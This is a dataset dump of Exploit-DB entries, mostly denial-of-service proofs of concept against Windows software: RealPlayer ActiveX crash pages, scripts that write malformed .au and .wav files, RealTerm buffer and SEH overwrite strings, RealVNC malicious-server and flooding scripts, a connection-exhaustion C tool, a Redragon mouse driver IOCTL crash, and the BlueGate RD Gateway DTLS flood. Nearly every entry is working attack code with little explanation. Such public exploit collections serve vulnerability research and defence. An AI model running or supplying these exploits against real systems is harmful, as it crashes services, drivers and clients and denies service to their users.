deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3030
Description: RealPlayer 10.5 'ierpplug.dll' Internet Explorer 7 - Denial of Service
Type: dos
Platform: windows
Date: 2006-12-28
Author: shinnai

Exploit:
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 RealPlayer 10.5 ierpplug.dll multiple methods Denial of Service
 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
-----------------------------------------------------------------------------


<object classid='clsid:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5' id='RealPlayer'></object>
<select style="width: 404px" name="Pucca">
  <option value = "GetComponentVersion">GetComponentVersion</option>
  <option value = "HandleAction">HandleAction</option>
  <option value = "DoAutoUpdateRequest">DoAutoUpdateRequest</option>
  <option value = "Quoting">Quoting...</option>
</select>



<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  on error resume next
   if Pucca.value="GetComponentVersion" then
     argCount   = 1
     arg1=String(1000000, "A")
     RealPlayer.GetComponentVersion arg1
   elseif Pucca.value="HandleAction" then
     argCount   = 1
     arg1=String(1000000, "A")
     RealPlayer.HandleAction arg1
   elseif Pucca.value = "DoAutoUpdateRequest" then
     argCount = 3
     arg1=1
     arg2=String(1000000, "A")
     arg3=1
     RealPlayer.DoAutoUpdateRequest arg1 ,arg2 ,arg3
   else
     MsgBox "And the beast shall come forth surrounded by a roiling cloud of vengeance." & vbCrLf & _
     "The house of the unbelievers shall be razed and they shall be scorched to the earth." & vbCrLf &_
     "Their tags shall blink until the end of days."
   end if
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2006-12-28]
Exploit-DB #2966
Description: RealPlayer 10.5 - ActiveX Control Denial of Service
Type: dos
Platform: windows
Date: 2006-12-20
Author: shinnai

Exploit:
<!--
---------------------------------------------------------------------------
RealPlayer 10.5 rpau3260.dll Internet Explorer Denial of Service
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://shinnai.altervista.org
Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
---------------------------------------------------------------------------
-->

<html>
<body>
<object classid="clsid:405DE7C0-E7DD-11D2-92C5-00C0F01F77C1" id="RealPlayer">
</object>
<script>
RealPlayer.Initialize("AA","defaultV")
</script>
</html>
</body>

<!--
Just initialize the control, the close IE :)
-->

# milw0rm.com [2006-12-20]
Exploit-DB #4683
Description: RealPlayer 11 - '.au' Denial of Service
Type: dos
Platform: windows
Date: 2007-12-01
Author: NtWaK0

Exploit:
#RealPlayer 11 local/remote DoS by A.Sawan aka NtWaK0 and A.Hariri aka nophie

import sys
import os

head = 
("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"+
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"+     
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"+       
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"+
"\x00\x00\x00\x00\x00\x00\x00\x00\x66\x66\x66\x00")

print "[x] Windows Media Player 11 DoS by Adonis a.K.a NtWaK0 and Abed aka Nophie."

try:
   f = open("test.au",'w')
except IOError, e:
    print "Unable to open file ", e
    sys.exit(0)

print "[x] File sucessfully opened for writing."
try:
   f.write(head)
except IOError, e:
    print "Unable to write to file ", e
    sys.exit(0)
print "[x] File successfully written."
f.close()
print "[x] Open test.au with RealPlayer 11."

# milw0rm.com [2007-12-01]
Exploit-DB #22402
Description: RealPlayer 15.0.6.14(.3g2) - 'WriteAV' Crash (PoC)
Type: dos
Platform: windows
Date: 2012-11-01
Author: coolkaveh

Exploit:
Title    :  RealPlayer 15.0.6.14(.3g2) WriteAV Vulnerability
Version  :  15.0.6.14
Date     :  2012-10-29
Vendor   :  http://www.real.com/
crash    :  http://img543.imageshack.us/img543/9130/pocm.jpg
Impact   :  High
Contact  :  coolkaveh [at] rocketmail.com
Twitter  :  @coolkaveh
tested   :  windows 7 x64
Author   :  coolkaveh
###############################################################################
Bug :
----
Memory corruption during the handling of the 3g2 files context-dependent
Successful exploits can allow attackers to execute arbitrary code
---- 
################################################################################
(f84.8c8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=040d1370 
ebx=7fdfe2d0 
ecx=0a67f798 
edx=0a67f7a8 
esi=00000000 
edi=00000004
eip=66fc94df 
esp=3c6c1a80 
ebp=0a67f764 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Real\RealPlayer\codecs\dmp4.dll - 
dmp4!GetGUID+0x1836f:
66fc94df 8944241c        mov     dword ptr [esp+1Ch],eax ss:002b:3c6c1a9c=????????
0:029> !exploitable -v
HostMachine\HostUser
Executing Processor Architecture is x86
Debuggee is in User Mode
Debuggee is a live user mode debugging session on the local machine
Event Type: Exception
Exception Faulting Address: 0x3c6c1a9c
First Chance Exception Type: STATUS_ACCESS_VIOLATION (0xC0000005)
Exception Sub-Type: Write Access Violation

Exception Hash (Major/Minor): 0x247c7f22.0x247c7f63

Stack Trace:
dmp4!GetGUID+0x1836f
Instruction Address: 0x[PII_REDACTED]fc94df

Description: User Mode Write AV
Short Description: WriteAV
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - User Mode Write AV starting at dmp4!GetGUID+0x[PII_REDACTED]01836f (Hash=0x247c7f22.0x247c7f63)

User mode write access violations that are not near NULL are exploitable.
################################################################################
Proof of concept included. 

http://www21.zippyshare.com/v/83302158/file.html
Exploit-DB Mirror: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22402.rar
Exploit-DB #26578
Description: Realtek Sound Manager AvRack - '.wav' Crash (PoC)
Type: dos
Platform: windows
Date: 2013-07-03
Author: Asesino04

Exploit:
# !/usr/bin/python
# Title: Realtek Sound Manager AvRack - Crach Poc 
# version: all versions
# link: http://www.realtek.com.tw/
# Platform: Windows XP sp3
# Author: Asesino04
# Blog : http://asesino04.blogspot.com/

 
junk=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
file = open("Moviemaker.wav" , "w")
file.write(junk)
file.close()

# Contact :
------------------
# Fane Page : www.facebook.com/Th3.Black.D3Vils
# Youtube  : www.youtube.com/user/Th3BlackDevils
# Facebook : www.facebook.com/DevilsDz
# Email    : mr.k4rizma@gmail.com
Exploit-DB #46390
Description: Realterm Serial Terminal 2.0.0.70 - Denial of Service
Type: dos
Platform: windows
Date: 2019-02-18
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Port' Denial of Service (PoC)
# Date: 15/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://realterm.sourceforge.io/
# Software Link: https://sourceforge.net/projects/realterm/files/ 
# Version: 2.0.0.70
# Tested on: Windows 10

# Proof of Concept:
# 1.- Run the python script "RealTerm.py", it will create a new file "PoC.txt"
# 2.- Copy the content of the new file 'PoC.txt' to clipboard
# 3.- Open realterm.exe 
# 4.- Go to 'Port' tab
# 5.- Paste clipboard in 'Port' field
# 6.- Click on button -> open
# 7.- Crashed

buffer = "\x41" * 1000
f = open ("PoC.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #46391
Description: Realterm Serial Terminal 2.0.0.70 - Local Buffer Overflow (SEH)
Type: dos
Platform: windows
Date: 2019-02-18
Author: Alejandra Sánchez

Exploit:
# -*- coding: utf-8 -*-
# Exploit Title: RealTerm: Serial Terminal 2.0.0.70 - 'Echo Port' Overflow Crash (SEH) (PoC)
# Date: 16/02/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://realterm.sourceforge.io/
# Software Link: https://sourceforge.net/projects/realterm/files/ 
# Version: 2.0.0.70
# Tested on: Windows 10 / Windows XP 


# Proof of Concept:
# 1.- Run the python script "EchoPort.py", it will create a new file "EchoPort.txt"
# 2.- Copy the content of the new file 'EchoPort.txt' to clipboard
# 3.- Open realterm.exe 
# 4.- Go to 'Echo Port' tab
# 5.- Paste clipboard in 'Port' field
# 6.- Click on button -> Change
# 7.- Check 'Echo On' or 
# 8.- Crashed

# After the execution of POC, the SEH chain looks like this: 
# 0012F57C   43434343
# 42424242 *** CORRUPT ENTRY ***

# And the Stack

#0012F568   41414141  AAAA
#0012F56C   41414141  AAAA
#0012F570   41414141  AAAA
#0012F574   41414141  AAAA
#0012F578   42424242  BBBB  Pointer to next SEH record
#0012F57C   43434343  CCCC  SE handler


buffer = "\x41" * 268 
nseh = "\x42" * 4
seh = "\x43" * 4
f = open ("EchoPort.txt", "w")
f.write(buffer+nseh+seh)
f.close()
Exploit-DB #7943
Description: RealVNC 4.1.2 - 'vncviewer.exe' RFB Protocol Remote Code Execution (PoC)
Type: dos
Platform: windows
Date: 2009-02-02
Author: Andres Luksenberg

Exploit:
#!/usr/bin/env python
# POC: RealVNC 4.1.2 'vncviewer.exe' RFB Protocol Remote Code Execution Vulnerability, BID 30499
#Author: Andres Lopez Luksenberg <polakocai@gmail.com>
#
import socket

serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
serversocket.bind(('', 5900))
serversocket.listen(1)

while True:
		clientsocket, clientaddres = serversocket.accept()

		data = 'RFB 003.008\n'
		clientsocket.sendall(data)

		data_cli = clientsocket.recv(1024)
		print data_cli

		data = '\x01\x01'
		clientsocket.sendall(data)

		data_cli = clientsocket.recv(1024)
		print repr(data_cli)

		data = '\x00\x00\x00\x00'
		clientsocket.sendall(data)

		data = '\x02\xd0\x01\x77\x08\x08\x00\x00\x00\x07\x00\x07\x00\x03\x00\x03\x06\x00\x00\x00\x00\x00\x00\x13\x4c\x69\x6e\x75\x78\x56\x4e\x43\x3a\x20\x2f\x64\x65\x76\x2f\x74\x74\x79\x32'

		clientsocket.sendall(data)

		data_cli = clientsocket.recv(1024)
		print repr(data_cli)

		data_cli = clientsocket.recv(1024)
		print repr(data_cli)

		data_cli = clientsocket.recv(1024)
		print repr(data_cli)

		data='\x00\x00\x00\x03\x00\x03\x00\x03\x00\x08\x00\x07'

		data = data + '\x00\x00\xff\xff' #bug

		data = data + '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe7\xe7\x7e\x3c\x7e\xe7\xe7'

		clientsocket.sendall(data)

clientsocket.close()	
serversocket.close()

# milw0rm.com [2009-02-02]
Exploit-DB #33924
Description: RealVNC 4.1.3 - 'ClientCutText' Message Remote Denial of Service
Type: dos
Platform: windows
Date: 2010-05-02
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/39895/info

RealVNC Viewer is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to crash the affected application, denying service to legitimate users.

RealVNC 4.1.3 is vulnerable; other versions may also be affected. 

import sys, struct, socket
host ='localhost'
port = 5900

def crash_vnc_server():
    try:
        while 1:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((host, port))
            s.settimeout(1.0)       
            
            print 'Connected'

            try:
                b = s.recv(8192)
                print 'ProtocolVersion Received'
                
                s.send(b)
                print 'ProtocolVersion Sent'            
                
                b = s.recv(8192)
                print 'Security Received'

                s.send('\x01')
                print 'Security Sent'
                
                # Recv SecurityResult
                b = s.recv(8192)
                print 'SecurityResult Received'

                if (len(b) == 4 and
                    b[0] == chr(0) and
                    b[1] == chr(0) and
                    b[2] == chr(0) and
                    b[3] == chr(0)):
                    print 'SecurityResult OK'
                else:
                    print 'SecurityResult Failed.\n\nThe server must be set '\
                          'to No Authentication for this to work, otherwise '\
                          'you \'ll need to write the necessary client side '\
                          'authentication code yourself.'
                    return           

                s.send('\x01')
                print 'ClientInit Sent'
                
                b = s.recv(8192)
                print 'ServerInit Received'

                text_len = 0xFFFFFF
                text_str = struct.pack('L', text_len) + '\xAA' * text_len
                
                while 1:
                    s.send('\x06\x00\x00\x00' + text_str)

                    print 'ClientCutText Sent'
                
            except Exception:
                print 'Connection closed'                
            
    except Exception:
        print 'Couldn\'t connect'

crash_vnc_server()
Exploit-DB #24412
Description: RealVNC Server 4.0 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2004-08-25
Author: Uz4yh4N

Exploit:
// source: https://www.securityfocus.com/bid/11048/info

RealVNC server is reported prone to a remote denial of service vulnerability. This issue presents itself when an attacker establishes a large amount connections to the server.

This issue was reportedly tested on RealVNC 4.0 running on Microsoft Windows 2000. 

/****************************************************************************
 *                                                                          *
 *               RealVNC 4.0 remote ddos Exploit                            *
 *                                                                          *
 *  This is a stupid bug and stupid exploit. and this toy for kiddies       *
 * Tested agains Windows XP,2000 and 98. it works well and the test servers *
 * are down with an ADSL Router heheh :p    have fun..                      *
 * Anyway what can i say more...                                            *
 * Gr33t1ngz: N4rK07IX, blueStar, L4M3R.                                    *
 *                                                                          *
 *                            Code by Uz4yh4N <Lord@Linuxmail.org>          *
 *                                                                          *
 ****************************************************************************/



#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>

#define PORT 5900
#define TIMES 160

main(int argc, char *argv[])
{
    int sockfd[TIMES+5],i;
    struct hostent *he;
    struct sockaddr_in servaddr;



    if(argc != 2) {
      fprintf(stdout, "\n Usage: %s hostname/ip \n\n",argv[0]);
      exit(-1);
    }
    if ((he=gethostbyname(argv[1])) == NULL) {
            perror("gethostbyname");
            exit(-1);
        }

    for(i=0;i<TIMES;++i) {

      if((sockfd[i] = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
         perror("socket");
            exit(-1);
      }
    }

 servaddr.sin_family = AF_INET;
 servaddr.sin_port = htons(PORT);
 servaddr.sin_addr = *((struct in_addr *)he->h_addr);
 memset(&(servaddr.sin_zero), '\0', 8);

 fprintf(stderr, "[+] Trying...\n");

  for(i=0;i<TIMES;++i) {

    if(connect(sockfd[i], (struct sockaddr *)&servaddr, sizeof(struct sockaddr)) == -1) {
          fprintf(stderr, "[+] The target must be down..\n");
          goto done;
        }

 }

 done:
  for(i=i;i>0;i--)
    close(sockfd[i]);

  fprintf(stdout, "[+] Done..\n");

  return 0;

}
Exploit-DB #22196
Description: Rediff Bol 2.0.2 - URL Handling Denial of Service
Type: dos
Platform: windows
Date: 2003-01-23
Author: S G Masood

Exploit:
source: https://www.securityfocus.com/bid/6670/info

It has been reported that a problem in Rediff Bol may allow remote users to log other users out of the Bol chat client. Due to improper handling of some types of requests, a remote user could send an URL request to the client in the form of a rbol: command that would cause the client log out.

rbol:login
Exploit-DB #3433
Description: Rediff Toolbar - ActiveX Control Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-03-08
Author: Umesh Wanve

Exploit:
<!--
              Rediff Toolbar ActiveX Control Remote DOS Vulnerability
                          By Umesh Wanve (umesh_345@yahoo.com)

Reference: https://www.securityfocus.com/bid/21924

Date: 08- Jan - 2007

// CLSID: {12F02779-6D88-4958-8AD3-83C12D86ADC7}
// Info: Rediff Toolbar
// ProgID: XBTB00001.XBTB00001.1
// InprocServer32: Program Files\\Rediff Toolbar\\2.0\\redifftoolbar.dll

--!>


<html>

<body>
<OBJECT id="test" WIDTH=445 HEIGHT=40 classid="clsid:12F02779-6D88-4958-8AD3-83C12D86ADC7" >
</OBJECT>

<script language="vbscript">


</script>

</body>
</html>

# milw0rm.com [2007-03-08]
Exploit-DB #50322
Description: Redragon Gaming Mouse - 'REDRAGON_MOUSE.sys' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2021-09-23
Author: Quadron Research Lab

Exploit:
# Exploit Title: Redragon Gaming Mouse - 'REDRAGON_MOUSE.sys' Denial of Service (PoC)
# Date: 27/08/2021	
# Exploit Author: Quadron Research Lab			
# Version: all version		
# Tested on: Windows 10 x64 HUN/ENG Professional
# Vendor: https://www.redragonzone.com/pages/download
# Reference: https://github.com/Quadron-Research-Lab/Kernel_Driver_bugs/tree/main/REDRAGON_MOUSE


import ctypes, sys
from ctypes import *
import io
from itertools import product
from sys import argv

devicename = "REDRAGON_MOUSE"

ioctl = 0x222414

kernel32 = windll.kernel32
hevDevice = kernel32.CreateFileA("\\\\.\\GLOBALROOT\\Device\REDRAGON_MOUSE", 0xC0000000, 0, None, 0x3, 0, None) 

if not hevDevice or hevDevice == -1:
    print ("Not Win! Sorry!")

else:
    print ("OPENED!")
                    
    buf = '\x44' * 1000 + '\x00' * 1000
    bufLength = 2000
    
    kernel32.DeviceIoControl(hevDevice, ioctl, buf, bufLength, None, 0, byref(c_ulong()), None)
Exploit-DB #47963
Description: Remote Desktop Gateway - 'BlueGate' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2020-01-23
Author: ollypwn

Exploit:
#include "BlueGate.h"

/* 
EDB Note: 
- Download (Source) ~ 
- Download (Binary) ~ 
*/


void error(const char* msg)
{
	printf("ERROR: %s\n", msg);
	exit(EXIT_FAILURE);
}

void SOCKInit()
{
	WSADATA wsaData;
	int res;

	res = WSAStartup(MAKEWORD(2, 2), &wsaData);

	if (res != 0)
		error("WSAStartup failed");
}

void DTLSInit()
{
	SSL_library_init();
	SSL_load_error_strings();
	ERR_load_BIO_strings();
	OpenSSL_add_all_algorithms();
}

int OpenUDPConnection(const char* hostname, int port)
{
	int sockfd;
	sockaddr_in addr;

	sockfd = socket(AF_INET, SOCK_DGRAM, 0);

	if (sockfd < 0)
		error("Failed to open socket");

	addr.sin_family = AF_INET;
	addr.sin_port = htons(port);
	
	inet_pton(AF_INET, hostname, &(addr.sin_addr));

	if (connect(sockfd, (struct sockaddr*) & addr, sizeof(addr)) != 0)
	{
		closesocket(sockfd);
		error("Failed to connect socket");
	}

	return sockfd;
}

SSL* DTLSConnection(const char* hostname)
{
	int sockfd;
	int result;
	DTLSParams client;
	
	sockfd = OpenUDPConnection(hostname, 3391);

	client.ctx = SSL_CTX_new(DTLS_client_method());
	client.bio = BIO_new_ssl_connect(client.ctx);

	BIO_set_conn_hostname(client.bio, hostname);
	BIO_get_ssl(client.bio, &(client.ssl));

	SSL_set_connect_state(client.ssl);
	SSL_set_mode(client.ssl, SSL_MODE_AUTO_RETRY);

	SSL_set_fd(client.ssl, sockfd);

	if (SSL_connect(client.ssl) != 1) {
		return NULL;
	}
	
	return client.ssl;
}

int send_dos_packet(SSL* ssl, int id) {
	CONNECT_PKT_FRAGMENT packet;

	packet.hdr.pktID = PKT_TYPE_CONNECT_REQ_FRAGMENT;
	packet.hdr.pktLen = sizeof(CONNECT_PKT_FRAGMENT) - sizeof(UDP_PACKET_HEADER);
	packet.usFragmentID = id;
	packet.usNoOfFragments = id;
	packet.cbFragmentLength = 1000;
	memset(packet.fragment, 0x41, 1000);

	char pkt[sizeof(packet)];
	memcpy(&pkt, &packet, sizeof(packet));

	return SSL_write(ssl, pkt, sizeof(pkt));
}

int main(int argc, char* argv[])
{
	
	SSL* ssl;
	int i = 0;
	char* hostname;

	if (argc != 2) {
		printf("Usage: %s <IP address>\n", argv[0]);
		return 0;
	}

	hostname = argv[1];

	SOCKInit();
	DTLSInit();
	
	while (i++ > -1) {
		ssl = DTLSConnection(hostname);

		if (ssl == NULL) {
			break;
		}
		
		for (int n = 0; n < 4; n++) {
			send_dos_packet(ssl, i+n);
			printf("Sending packet [%u]\n", i + n);
		}

		i++;
	}


	return 0;
}